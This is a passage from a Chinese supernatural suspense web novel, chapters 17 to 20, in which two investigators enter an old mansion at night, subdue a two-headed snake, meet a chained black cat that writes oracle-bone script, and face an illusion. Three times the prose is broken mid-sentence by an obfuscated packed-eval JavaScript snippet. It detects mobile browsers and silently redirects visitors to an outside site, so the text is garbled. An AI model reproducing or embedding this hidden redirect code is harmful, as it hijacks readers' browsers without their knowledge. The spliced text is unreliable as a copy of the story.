可是上下牙齿咯咯打架的声音,还是出卖了她。 她听到伊峰秋发出轻轻的笑声,顿觉有些尴尬,忍不住说道:“喂,你为什么要选晚上来这里?是不是故意的?” “晚上不会引起别人的注意。”伊峰秋一本正经的说。 好吧,这个理由勉强可以接受。 接下来的路上,唐镜都抓着伊峰秋的胳膊,他身上的气息让人莫名的放松,清爽的肥皂味道夹杂着若有若无的烟味,一种很干净的男人味道。 伊峰秋的脚步很稳定,走路的时候,不快不慢,节奏恒定,哪怕前面是刀山火海,他也会这么从容的走过去。 也许是受他的感染,等站在齐家老宅门前的时候,唐镜的心情已经彻底平静下来。 “后来过了很多年,镇政府根据政策,把齐家老宅发还给齐修的父亲,他父亲偶然回桐留,也只是来老宅看看,倒是齐修考上大学后,寒暑假来老宅一个人住过几天。” 伊峰秋一边说,一边拧亮钢笔形状的聚光手电筒,观察着大门。 这是两扇木制大门,大门上的油漆已经剥落,露出深褐色的木纹,光看木纹的颜色,就知道这大门至少有将近百年的岁月,门上镶嵌着的铜环,也已经锈迹斑斑。 大门前挂着一把老旧的铁锁,手电筒的光停留在锁眼上,唐镜看的分明,铁锁上面有一层厚厚的灰尘,可是锁眼上却非常干净。 很显然,有人经常开这把锁,可是却又非常谨慎的不让人发现,所以才会尽量保持锁上的灰尘。 伊峰秋端详了一会铁锁,这才从口袋里掏出一根细细的铁丝,捅进锁眼,轻轻拨动了一下,哒的一声,锁就被打开了。 唐镜只在电视和电影上看到过这种手法,没想到居然能在现实中开了眼界。 锁打开以后,伊峰秋并没有推开门,他把铁丝放回口袋,拉着唐镜站到一边,然后拿出一根甩棍 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16234645|181819||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,唰的甩开,半尺长的甩棍瞬间伸开一米多长。 他用甩棍顶端抵住大门下边一处,这才慢慢用力推门。 咯吱声中,大门慢慢被推开,一条黑影闪电般从门后蹿出来,空气里有一种淡淡的腥味。 伊峰秋拉着唐镜站在大门旁边,正好避开黑影,黑影窜出来以后,一头撞在甩棍上,她感觉到伊峰秋的身体一震随即又稳住。 幸好他有先见之明,如果是用手推开大门,正好和黑影撞在一起,后果大大的不妙。 伊峰秋一手抡起甩棍朝黑影狠狠砸去,另外一只手里的微型聚光手电筒已经扬起,照向黑影。 唐镜倒吸了一口凉气,好古怪的一条大蛇! 蛇身足有小臂粗细,鳞片类似于金钱豹花纹,在雪亮的光线下闪着诡异的光泽,而且它有两个头! 两个三角形的蛇头同时昂起,一个对着甩棍,一个对着伊峰秋,黄豆大小的圆眼睛,黑色的眼珠看上去无比邪恶。血红色的细长蛇信从嘴里弹出,顶端分叉,发出嘶嘶声。 金钱豹花纹,双头! 唐镜从来没见过也没听说过这种蛇! 她的手不由自主的伸向手机,虽然因为害怕,手指开始发抖,可是却下意识的想给它拍张照片。 不过她没来得及拿出手机,伊峰秋已经把手电塞进她手里,同时肩膀一斜,把她撞到一边,他自己在原地面对双头蛇。 唐镜立刻忘了拍照的事情,手电光照着双头蛇,只见它几乎一半身体都竖起来,高度已经到了伊峰秋的腰间,下半截身体在地上飞快游动,上半截身体和甩棍缠斗在一起。 伊峰秋双足站定在原地,手里的甩棍虎虎生风,一棍又一棍的砸向双头蛇的颈部,也就是双头分叉的地方。 这种简单直接又快速的打法,使得双头蛇只能不断闪避,根本没有办法靠近伊峰秋。 唐镜看得出来,伊峰秋是以攻代守,双头蛇虽然闪避的速度很快,可是七八棍下去,总有一棍打到它。 只要打到它的颈部,双头蛇的两个头就会一阵抽搐,晃来晃去几下,才能恢复正常。 就这样被砸了三四棍以后,双头蛇的速度顿时慢下来,可是依然朝伊峰秋吞吐着蛇信,眼神里透着凶悍之意。 唐镜一边用手电筒照着双头蛇,一边想这还没进门,就窜出来这么个怪蛇,齐家老宅里面,究竟还藏着多少种诡异的东西? 不过这种神秘和未知,反而越发激起她的好奇心,更想一探究竟了。 伊峰秋又是一棍砸下去,双头蛇这次没有避开,反而昂着头,嗖的一下朝甩棍蹿过去,尾巴腾空,直接缠到了甩棍上,随即上身一个旋转,一米多长的蛇身竟然缠到了甩棍上。 这蛇足有四五十斤重,这么往甩棍上一缠,伊峰秋的手臂顿时往下一沉,带着身体踉跄了一下。 而双头蛇的蛇头,距离伊峰秋的脖子,此时已经不足半尺,血红色的蛇信嘶嘶作响,冲着他的脖子闪电般探出。 唐镜攥着手电筒,浑身冰凉,想要尖叫,却又觉得嗓子眼里像是塞了团棉花,什么声音都发不出来,电光火石的瞬间,出于习武者的本能反应,她一下扑了过去,拽住了双头蛇的尾巴…… 18. 第 18 章 唐镜抓住双头蛇尾巴的瞬间,只觉一道亮光闪过,手臂不受控制的抖动起来,灼热、刺痛、麻木…… 这什么蛇?怎么身上还带电? 唐镜瞪大眼睛,正好对上伊峰秋的视线,他有些惊愕,她的视线往下移去,正看到他手里的电击器。 艾玛,伊峰秋居然是故意让双头蛇缠上甩棍,然后在它袭击他的时候,直接把电击器按在了它的脖子上。 而唐镜,好死不死,这个时候去抓双头蛇的脖子,于是,跟双头蛇一起,被电了个正着,双头蛇此时已经吧嗒一下掉在地上,蛇身砸的地上泥土四溅,这一下直接把它给电晕了。 而唐镜也软绵绵的倒了下去,整个身体不受控制的抽搐着,什么叫城门失火殃及池鱼?这就叫城门失火殃及池鱼! 幸好,在她的后背和土地亲密接触前的一秒钟,伊峰秋冲了过来,一把接住了她。 “伊、伊峰秋,你、你要请我吃一百冰激凌!”唐镜翻着白眼,抖抖簌簌的手抓住伊峰秋的衣领,有气无力的说。 伊峰秋没有说话,只是双手用力把她从地上拉起来,然后紧紧搂在怀里。 唐镜的脸贴着他的胸膛,隔着衣衫,她能感觉到他剧烈的心跳,鼻端都是他身上的气息,干净的男人气息。 她的身体一阵阵发麻,也不知道是电击的缘故,还是因为被伊峰秋这样搂在怀里。 “那个,我没事了。”唐镜觉得自己的心越跳越快,甚至有种要窒息的感觉,不行不行,不能这样子。 她用手抵住伊峰秋的胸膛,把他往外推了推。 他松开手臂,不过依然用手扶着她的腰,声音有些低沉:“那个,我没想到你会冲上来。” 唐镜勉强笑了笑,往后退了一步,不知道为什么,有点心虚,不敢看他的眼睛,故意去看地上的双头蛇,转移话题:“两个头的蛇,我还是第一次见到。” “基因突变,胚胎发育过程中,受到外力刺激,导致多出现一个头部,极其罕见,而且这种蛇的寿命都不长,通常在孵化出壳后十天就会死亡,目前有资料记载的最长存活期限是八年。” 伊峰秋的声音渐渐恢复了正常。 唐镜瞅着地上一米多长,手臂粗细的双头蛇:“这蛇至少也有几十年寿命了吧?” 伊峰秋点点头,反手从背包里抽出一个黑色尼龙袋子,把软瘫在地上的双头蛇装进袋子里,系了个复杂的结扣。 这尼龙袋是户外专用的袋子,就算是用刀子割,也不容易割破,能承受数百公斤力量的拉扯,双头蛇就算醒过来,也别想逃走了。 伊峰秋装好双头蛇,看了看周围的地形,走到旁边一棵树下,双手抱住树身,双脚一蹬,蹭蹭就爬到了树上。 果然是练家子! 他把装蛇的口袋绑在树杈上,茂密的枝叶掩去了口袋痕迹。 伊峰秋从树上跳下来,很自然的拉起唐镜的手,往大门口走去。 大门已经推开了一半,门口黑漆漆一片,听不到任何动静。唐镜举起手电筒,照向门口。 手指粗细的光投在了一堵墙上。 是照壁,以前大户人家造房子,正门后面都会砌一道照壁,讲究点的,照壁上还会画点东西,这样就算大门敞开,也不会给人一眼看到院子。 唐镜和伊峰秋的目光同时停留在照壁上,青砖砌成的照壁,上面刷的石灰早就没了踪影,只剩下斑驳的苔藓。 照壁的正中间,不知道什么时候挖出了一个篮球大小的洞,电筒的光正投在洞中央。 洞里面,一只眼睛正在眨动…… 古旧的大门,斑驳的影壁,神秘莫测的老宅,刚刚对付完那只诡异的双头蛇,此时再看到那只眨动的眼睛,唐镜的心情,可想而知。 握着电筒的手有些颤抖,以至于投在影壁洞里的光线也在颤抖,晃动的光线里,那只眼睛显得越发古怪。 伊峰秋的手伸过来,把她的手连着电筒一起握住,然后侧步上前,挡住了她的大半个身体,正对着那只眨动的眼睛。 电筒的光线稳定的照在洞里,照在那只眼睛上。 唐镜定了定神,仔细看着那只眼睛,眼睛又大又圆,中间的瞳孔也是圆溜溜的,虽然是黑色的瞳仁,可是在光照中,却有一种流光溢彩的感觉。 不知道为什么,这只眼睛让她有熟悉的感觉,却又隐隐觉得哪里有些不对。 伊峰秋往前走了一步,手里的甩棍试探着去敲了敲影壁。 “喵呜……” 影壁的洞里传来一声猫叫,听上去有些诡异,不知道为什么,明明是猫叫声,唐镜却觉得这叫声里蕴藏着一种无法言明的情绪。 脑中同时灵光一闪,她忍不住脱口而出:“那是猫的眼睛!” 不对! 猫的瞳孔在强光下会收缩成一条竖线,这只眼睛的瞳孔,在电筒光线的照射下,没有任何变化,依旧是圆溜溜的。 “是猫眼。”伊峰秋说道,语气非常沉静,同时,他迈着稳定的步子,走到了影壁前。 没有受到任何攻击,那只眼睛也停止了眨动,和两人对视着。 这是一只黑色的猫咪,通身漆黑,卧在影壁的洞里,半侧着头,所以他们只看到了它的一只眼睛。 当两人走到影壁跟前时,它缓缓转过头来,两只又大又圆的眼睛正对着两人,在光线下,它的瞳孔没有像普通猫咪那样收缩成一条竖线,还是保持着浑圆的样子。 黑色的瞳孔,却给人一种流光溢彩的感觉。 刚才隔的远,这只猫又是通身漆黑,所以电筒的光照过去,唐镜和伊峰秋只看到了一只眼睛。 黑猫扬了扬头,脖子上有亮光闪动,是一条细细的黄铜链子,链子一头栓在猫脖子上,另外一头延伸到了影壁里面,像是镶嵌在了影壁上。 链子连在影壁里的那一截,已经有了铜锈,看样子,这只猫被栓在这里有些年头了。 伊峰秋从唐镜手里拿过手电筒,照向大洞的边缘,她看的分明,那洞的边缘并不齐整,都是豁口,好像是被爪子不断抓挠出来的。 难道是这只黑猫掏出来的洞? 看来伊峰秋和唐镜想到一块去了,手电筒的光线重新移向黑猫,停留在它的爪子上。 黑色的趾甲,隐隐有光泽闪动,就好像是精铁铸就,像是知道我们的想法,黑猫喵呜叫了一声,扬起右爪,对着旁边的墙壁抓了一下。 粉尘簌簌落下,五个锋利的齿痕出现在墙上。 这洞,竟然是黑猫用爪子硬生生掏出来的!它掏了多久? 一只猫又能有多久的寿命?可是光看那条锁住它的铜链的锈迹,就知道岁月悠久。 黑猫站了起来,脖颈上的链条发出轻轻的咣当声,因为有链条的限制,它的活动范围不超过半尺。 唐镜的脑海里突然浮现出一个念头,这道影壁,其实就是为这只黑猫砌的一个牢笼? 黑猫站在影壁的洞里,唐镜和伊峰秋站在影壁前,和它对视; 黑猫喵呜叫了一声,歪着脑袋,看看唐镜,又看看伊峰秋,忽然抬起右爪,上下左右的画了几下。 看上去,它像是在胡乱挥动爪子,可是一只猫做出这种动作,给人一种说不出的违和感。 唐镜拉了拉伊峰秋的衣袖,轻声说:“你有没有觉得,这只猫好像想要跟我们说话似的?” 伊峰秋点了点头。 他果然也有这种感觉! 黑猫听到唐镜和伊峰秋说话,爪子停顿了一下,随即又挥舞起来。 养过猫的人都知道,猫咪有时候也会挥动爪子,或者表示撒娇,或者表示愤怒,或者表示高冷,或者表示“逗你玩”,但是那种挥动挥动爪子,只是一种简单的情绪表达。 可是眼前这只黑猫,挥动爪子,给人的感觉,像是一个人正在挥毫做画,想要传递的,是一种复杂的信号。 伊峰秋的眼睛紧紧盯着猫的爪子,等猫爪停下来以后,他扬了扬眉毛,眼中闪过一丝惊异,随后忽然抬起手,伸出食指,也在空中比划起来。 唐镜又是惊讶又是好奇,忍不住喃喃说道:“你不会是在跟这只猫比划手语吧?” 随着伊峰秋手指的比划,本来站在那里的黑猫,忽然一下子倒了下去,随后又疯狂的在地上翻滚,拉扯的那只铜链咣当作响,用力之大,连影壁上的灰尘都簌簌直往下掉。 “你是什么人?”唐镜往后一跳,惊骇的看着伊峰秋,他该不会是被什么东西附体了吧?他刚才对黑猫下了什么咒语? 恶灵附体? 可是像伊峰秋这样阳气十足的人,怎么会有恶灵敢上身? 伊峰秋目光转过来,显然看出了唐镜的想法,脸上表情顿时变得又好气又好笑:“瞎想什么,过来。” 唐镜看着他的眼睛,确定他就是伊峰秋,并没有被什么恶灵附体,这才松了口气,走到他旁边,低声问:“你给黑猫比划了什么?” 这个时候,黑猫已经恢复了正常 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16234646|181819||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,一个打滚,从地上翻身站起,又大又圆的眼睛盯住伊峰秋,右爪再次抬起,又开始比划起来。 伊峰秋一边看着黑猫,一边低声说:“还记得以前历史课本上,那些甲骨文的形状吗?” 嗯? 唐镜看着黑猫的右爪,按照它的比划在脑海里勾勒,果然很像那些曲里拐弯的甲骨文,伊峰秋到底是怎么看出来的? 这人的眼睛,实在是太毒了! 不过唐镜看出来有点像甲骨文,却也没什么用处,因为她压根就不认识甲骨文,历史课本上学的东西早就还给了老师。 黑猫比划完,伊峰秋又用手指比划起来。 “别给我说,你这么多年过去,还记得那些甲骨文,成了甲骨文通。”唐镜忍不住对伊峰秋说。 “我只记得历史课本上纪录过的那些个字,你看,它是不是认识我写的这个甲骨文?”伊峰秋淡定的说道。 人比人,气死人。 唐镜也学过历史,可是这么多年过去,压根就没记住一个甲骨文。 伊峰秋居然记住了,果然不是一般人啊。 不过,这只黑猫是怎么回事? 一只懂甲骨文的黑猫? 唐镜的三观碎了一地! 伊峰秋一边和黑猫比划,一边低声对她说:“快用手机录下来。” 唐镜立刻反应过来,连忙拿出手机,打开视频,开始录下这只黑猫的动作,虽然伊峰秋和她都不知道黑猫写的是什么,可是一定有人知道。 黑猫比划了一阵,看样子是累了,不过两只又大又圆的眼睛,却闪动着兴奋的光芒。 给唐镜的感觉就是,如果它会说话,此刻一定是“卧槽,你们怎么现在才来,老子等的好辛苦啊……” “这链子能弄断吗?”她看黑猫不再比划右爪,就收起手机,凑近一点去看它脖子上的项圈。 项圈和链子是一体的,都是铜做的。 “如果有合适的工具,应该可以弄开,不过这只黑猫太诡异,没有弄清楚它的来龙去脉,还是让它待在这里比较合适。”伊峰秋说道。 “这么多年,它吃什么喝什么?”唐镜打量着黑猫影壁里的大洞,没看到有投放食物的地方,不过发现大洞里面有一个拳头大小的小洞。 小洞边上,放着几根干枯的老鼠尾巴。 “这小洞应该通到地下水道之类的地方,可以吸引老鼠爬过来。当初设计这个影壁的人,专门留出这个小洞,既是为了通风,也是为了让黑猫可以抓老鼠吃,不至于饿死。” 伊峰秋用手电照着那个小洞,若有所思道。 “真奇怪,这只黑猫会写甲骨文,为什么不会写汉字?难不成是一只上古猫?”唐镜半开玩笑的说。 “你可以试试,请郑落落教它认汉字。”伊峰秋的语气里也带了点玩笑意味,可是却启发了唐镜,对啊,如果郑落落知道有这么只古怪的黑猫,肯定愿意做这件事情。 “伊队,下次我们带只笼子过来,把黑猫带回去,怎么样?”唐镜越想越觉得这件事情非常靠谱。 “可以考虑。”伊峰秋看了下表,“老宅有六进院子,我们时间很紧,黑猫的事情等回去再说。” 伊峰秋一手拿着电筒,一手拉起唐镜的手,准备绕过影壁,进院子里。 唐镜冲着黑猫做了个拜拜的手势,黑猫站在那里,一动不动,又圆又大的眼睛盯着我,能感觉到黑猫的情绪低落下去。 看来它是不想让两个人走,不过显然它对此无能为力,只是喵呜叫了一声,懒洋洋趴到了地上。 “我会回来找你的。”虽然知道黑猫听不懂她的话,不过唐镜还是忍不住冲它说道。 绕过影壁,眼前出现了一片空地,足有篮球场大小,地上铺着大块大块的青石板。 随着手电筒的光扫过,只见石板和石板的缝隙间,长满了到膝盖的野草,有些石板已经四分五裂,裂缝中间都是苔藓。 角落里还放着石制的大鱼缸,围墙下面的花坛已经七零八落,野草和藤蔓纠结在一起,乱糟糟的攀附在墙上。 眼前情景虽然颓败,可是从石板上的雕花,大鱼缸的用料,以及花坛残存的形状,可以想象出,在若干年前,这阔大院子的奢华考究。 原来姹紫嫣红开遍,似这般都付与断井颓垣…… 唐镜脑海里浮现出这句话来。 只不过,她还来不及伤春悲秋,只听得咯吱一声,对面的正屋大门忽然缓缓打开…… 19. 第 19 章 就在大门吱吱打开的瞬间,伊峰秋手里的电筒已经照了过去。 门是那种老式的两扇木制对开门,斑驳的木纹染满时光尘埃,正缓缓向内拉开,就好像门后有两只无形的手,正在一点一点打开门。 手电筒的光线里,只有无数细小的灰尘在飞舞,在光的尽头,是一架瓷质屏风。因为是聚光手电筒,所以只照到屏风上一块篮球大小的面积,屏风的其余部分,包括房间的其余部分,都隐没在黑暗里。 瓷面在光线里浮着一层薄薄的光晕,隔着荒草丛生的院子,突然给人一种不真实的感觉。 就好像唐镜和伊峰秋站在时光的这头,正在遥望时光的另外一头。 手电筒的光开始在屏风上移动,米白色的瓷面上,有深深浅浅的墨痕,只是隔得有些远,看不清楚上面画的是什么。 这个时候,那两扇木制对开门已经完全打开,像是正在等候唐镜和伊峰秋走进去。 从两人站着的角度,只能看到正对门的那架屏风,看不到房间里其余的摆设。 伊峰秋把手电给唐镜,取下双肩背包,从里面拿出两个防毒面具。唐镜还没反应过来,他就把其中一个防毒面具戴到了她头上。 “会不会太夸张了点……”唐镜嘟囔了一句,只是戴上防毒面具后,她的声音听着有些含糊不清。 有谁夜探神秘诡异的古宅,是戴着防毒面具的?不是应该带着镇邪用的宝剑、八卦、符纸之类的东西吗? 咦,这防毒面具还带有夜视功能,很先进啊。 伊峰秋干净利落的戴上防毒面具,重新背起双肩包。 “这个你拿着。”他从背包侧面的口袋里掏出电击器,塞到唐镜手里,“有什么情况,就按这个按钮,小心别电到自己。” 唐镜握着电击器,听到伊峰秋最后那句话,真想把它扔了,不过伊峰秋的语气很认真,很郑重,这老宅又这么诡异,她心里再不爽,也还是把电击器握的紧紧的。 伊峰秋左手拿着手电,右手握着甩棍,跨出一步,走在唐镜的侧前方,挡住了她的大半个身体。 万一有什么危险来袭,他就可以首当其冲。 一缕细细的暖流从唐镜心底流过,突然觉得防毒面具不是那么闷了,手里的电击器也没那么讨厌了。 野草在鞋底发出簌簌声,被踩倒后又慢慢立起来,伊峰秋的脚步依然从容稳定,每一步迈出的距离都是一样。 距离房门还有三米远的地方,他停下了脚步,示意唐镜往他右首边走出两步,这样子,他正对这门,而唐镜变成了斜对着门,和正门大概有个四十五度左右的角度。 “你站在这里,等我叫你,你再进来。”他一边低声说,一边把手电重新塞回唐镜手里。 还没等唐镜反应过来,伊峰秋已经反手从背包侧面口袋里摸出一样东西,扔进屋子,随后,他一俯身冲进了屋子。 伊峰秋扔出的东西圆滚滚的,有点像手雷,不过比手雷要小很多,东西骨碌骨碌滚落到地上后,就开始冒出浓浓的黄烟。 催泪瓦斯? 这也太夸张了吧? 浓烟很快就笼罩了整个屋子,伊峰秋的身影消失在了浓烟里,突然一个人站在这里,唐镜的心一下子提了起来,手心不知不觉出了一层冷汗。 就在这时候,咣当一声响起,本来开着的两扇门,突然被重重关上! 房门咣当被关上,唐镜第一个反应就是,伊峰秋为什么关门?难道是不想让她进去? 可是下一个瞬间,她立刻意识到,这门绝对不可能是他关上的,她亲眼看到他冲进了浓烟里面,他后背又没长手。 那门是谁关的? 唐镜全身的汗毛都立起来了,冲到门前,抬脚就去踹门:“伊峰秋,伊峰秋!” 房门被她踹的梆梆作响,门楣上的蛛网和灰尘簌簌落下来,可是门却依然关的紧紧的,毫无打开的迹象。 门里面也没有任何动静,伊峰秋难道没有听到她的声音? 没道理,隔着一扇门而已,难道这门还能屏蔽声音不成? “伊峰秋,你能不能听到我的声音,伊峰秋,混蛋,快点出声啊!”唐镜的声音已经带上了哭腔,房间里却始终没有动静。 不行,再这样踹下去,门没踹开,她的脚就先废了! 唐镜做了几个深呼吸,慢慢冷静下来。 有句话怎么说来着,上帝给你关上了一扇门,必然会在别的地方给你打开一扇窗。 她走到旁边的窗户边,窗户是那种老式的雕花木窗,一个个小格子上面镶嵌着彩色的玻璃。 经历了这么多年的岁月,那些彩色玻璃居然还完整无缺,这种情形应该很奇怪,只不过唐镜现在没有心情去想这些东西,她只想赶紧进屋里去看看,到底发生了什么事情。 她用力推了推窗户,窗户是从里面销上的,根本推不开。 她跑到院子里,捡起一块石板碎片,对着小格子上的彩色玻璃用力砸去。 “哗啦”,一块玻璃被砸碎,碎片落下来,唐镜把眼睛凑到小格子前,想看清楚里面的情形。 虽然有防毒面罩的夜视眼镜,可她还是什么都看不清,因为里面到处都是浓烟,有一缕浓烟还从没了玻璃的小格子里飘出来。 唐镜大声喊:“伊峰秋,伊峰秋,你听到没有?赶紧出声!” 喊完以后,她把耳朵凑到格子前,凝神细听。 伊峰秋没有回话,可是她却听到了极轻微极轻微的一声轻笑,声音太轻,入耳即散。 虽然分不出声音是男还是女,可是她能肯定,那绝对不是伊峰秋的声音! 这房间里有人! 可是现在满房间都是催泪瓦斯的烟雾,除非这个人带着防毒面具,否则怎么可能若无其事的发笑? 屋子里到底是一个什么情形? 唐镜往后退了一步,看着面前的窗户,心里一动,举起手里的石块,哗啦哗啦又砸碎了几块小格子上的玻璃。 这几块小格子是窗户最下方一角,也就是靠近窗户插销的地方。她想把手从格子里伸进去,可是格子实在太小,仅仅能容纳三个手指。 她努力的探着指尖,上下触摸,想要找到窗户插销,可是显然手指的长度还不够,能感觉到指甲尖隐隐触碰到插销,却拿它毫无办法。 手指都要抻断了,也没用。 她正想收回手指另想办法,忽然感觉手指一凉,一只冰冷的手握住了她的手指…… 握住她手指的手,冰冷之极,像是刚在冰块里浸过,以至于唐镜硬生生打了个寒颤,刹那间连恐惧都忘了。 她不顾一切的想要抽回手指,可是很奇怪,那手明明很柔软,握她手指的时候也没怎么用力,可是她的手指却无法摆脱它的钳制。 在这样的时候,唐镜没有尖叫,而且脑子居然还保持着几分清醒,她一边挣扎,一边扔掉手里的石块,掏出塞在衣兜里的电击器,往手背上一放,一咬牙,按下了弱档按钮。 那只冰冷的手一个颤抖,从她的手指上弹开。 而唐镜先是一个哆嗦,电击器掉在地上,随后整个人也跟着摔倒,蜷缩成一团,难以言说的麻痛感弥漫全身。 看着抽回来的手指,她有些神经质的笑起来。 那句话怎么说来着? 痛并快乐着。 这就是她现在的状态。 她伸出发抖的手,捡起电击器,紧紧握住它,不管屋子里是人是鬼是妖,至少还能用这电击器对付它。 喘了几口大气,身上的麻痹感渐渐消失,唐镜看着那几个破掉的窗格,浓烟正从窗格里往外溢出,此外并无什么异样。 她坐在地上,周围无比安静,连风都已静默,只听到自己咚咚咚的心跳声,它还在窗户那面吗? 伊峰秋在房间里怎样了?为什么始终听不到他的任何动静? 不行,她一定要进去看看! 唐镜放慢呼吸,放空所有的情绪,心终于静下来,慢慢站起来,快步走到院子里,捡起一根枯枝,把枯枝顶端折成一个指肚大小的圆环,再用一截枯草绑好。 重新回到窗户边上站定,先掏出背包侧口袋里的水瓶,仰头喝了一大口水,这才屏住气息,把枯枝送进最靠近插销的窗格里。 凭着感觉,她慢慢把枯枝顶端的圆环套上插销,一切都很顺利,她却不敢掉以轻心,控制着力度和角度,一点一点提起枯枝。 她已经能听到插销咯吱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16234647|181819||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 咯吱拔出的声音,在这寂静的夜里,那声音分外清晰,甚至都能听到铁锈剥落的细微声。 成功在即。 那只怪物会不会出手阻止她? 枯枝突然不动了,随后,枯枝的顶端被按住,随着那按住的力道,本来已经被拔出来的插销,开始一点一点重新下去。 那只怪物出手了! 唐镜张开嘴,对着枯枝前端和最下端的窗格,一口吐出嘴里的矿泉水,随后,毫不犹豫的对着枯枝按下了电击器的强档。 雪亮的一缕电光如游蛇般亮起又消失。 枯枝顶端的压力突然消失,她一把提起枯枝,咔擦一声,插销被拔了出来,她松开枯枝,一脚踢出,哐当一声,窗户一下被踢开,浓烟从里面冒出来。 唐镜戴着防毒面具,自然不怕这浓烟,窗户一打开,她一只手紧握着电击器,另外一只手往窗户边上一搭一撑,直接跳进屋去。 跳进去后,她往侧面滑过一步,后背直接靠住墙,站定后,睁大眼睛打量着屋子里的情形。 虽然戴着夜视仪,可是放眼看去,满屋子都是浓烟,什么都看不清楚。 唐镜背贴着墙,往门的方向一步一步蹭过去,右手始终紧握着电击器,左臂微屈,摆了个武术中的防御姿势,护住喉前胸前要害。 后背终于挨到了门,她心里一喜,左手伸过去摸索门栓,现在必须得把门打开,把屋子里的烟雾放出去,才有机会看清楚屋里的情形。 一摸到门栓,她立刻一把拉开,身体跟着往后一撞,直接把门撞开。 门开了! 她还来不及惊喜,整个人就怔在那里,为什么? 门外竟然不是她和伊峰秋进来的那个荒草蔓延的破败院子,而是一片稀疏的小树林,地上铺着厚厚一层泛黄的落叶,树枝上残存的叶子在风里颤颤巍巍,随时都会随风而去。 一轮满月挂在树林上方,视线所及之处,都泛着一层清冷的微光。 今天本来是个阴天,她和伊峰秋一路走来,天上都是阴云密布,连星星都没看见半个,什么时候竟然云散月出了? 唐镜盯着月亮,总觉得有些不对劲,却又说不出来哪里不对劲了。 不过她现在没有心思去想天气的事情,满脑子都想的是,难道开错门了?这不是伊峰秋进来的那扇门,而是通向后院的门? 但是谁家会在两进院子中间种着一片小树林? 唐镜又仔细回想了一下方位,从窗户翻进来,再到背靠着墙移到门边,她的方向没有弄错,伊峰秋就是从这扇门进来的! 那为什么门外的情形不对? 唐镜试着往小树林的方向走了几步,脚底踩在厚厚的落叶上,总有种不真实的感觉。 “砰”,一颗枣子砸向她的额头,她头一偏,枣子落在她的肩膀上。 “喂,你怎么现在才来?”少年的声音清亮,带着几分笑意。 唐镜心神一震,身体晃了晃,如果不是扶住旁边的树干,她肯定会倒下去。 这声音,很多年没有听到了,她也从没有想到,有生之年,居然会再次听到,她想,她一定是在做梦。 那么,请别从梦里醒来。 唐镜缓缓抬起头,对面的树上,坐着一个穿着白衬衣的少年,眼睛黑亮,鼻挺唇薄,正歪着头,冲她微笑。 杨梵,你终于来看我了? “小镜子,爷爷刚才说了,迟到一分钟,罚绕树林跑一圈,你迟到了十分钟,啧啧,要跑十圈喔!” 少年从树上跳下来,走到唐镜跟前,背朝她,微微屈膝:“算我倒霉,赶紧上来,趁着爷爷没在,我先背着你跑一圈。” 唐镜没说话,只是怔怔看着他的背。 膝盖一紧,身体一轻,杨梵双手揽住她的膝盖窝,已经把她背到了背上,脚步轻快的跑起来。 唐镜伏在他的背上,看他往树林的深处跑去,双手不知不觉抬起来,想要搂住他的脖子。 就这样被杨梵背着,一直一直跑下去,真好。 可是,她突然看到了右手握着的电击器,脑子里突然像被大棒砸了一下,恢复了一丝清明。 伊峰秋还在那古怪的屋子里,她怎么能丢下他不管? 20. 第 20 章 想到伊峰秋,唐镜狠命一咬舌尖,一缕血腥渗出,疼痛让她彻底清醒过来,杨梵还在奔跑,脚步轻快,风吹起他的头发,掠过她的鼻尖。 少年的气息,干净的像秋天的碧空。 十年过去了,杨梵如果还活着,也已经是一个二十六岁的男人了,怎么可能还是十六岁少年的样貌! 而且,唐镜突然想起来,今天是初八,就算有月亮,也是半弯新月,怎么可能是满月! 一切都是幻觉! 她突然感觉到无比的愤怒,什么人,竟然敢用杨梵来制造幻觉! 不再有丝毫犹豫,她左手握住电击器,右手用力按下按钮。 啊! 无法描述的灼热和麻痛让她忍不住大叫起来,眼前一阵发黑,随后,后背一痛,她重重摔在了地上。 眼前景象倏然消失,唐镜躺在浓烟密布的房间里,一双眼睛在浓烟中若隐若现,居高临下看着她,眸子极大极黑,像是暴风雨来临前的夜空,即使隔着防毒面罩,她也有一种魂魄仿佛要被吸入的感觉。 刚才一切都是幻觉,是这双眼睛,翻起了她埋藏许久的记忆。 它竟敢用杨梵来迷惑她! 愤怒战胜了恐惧,唐镜单手在地上一撑,右腿往上一撩,狠狠踹向那双眼睛。 浓烟卷起,眼睛消失在了浓烟后面,她踹了个空。 唐镜一个翻身,借力跃起,旁边就是窗户,浓烟顺着敞开的窗户往外飘去,她看的分明,窗格下方的玻璃都已近破碎,正是她刚才跳进来的那扇窗户。 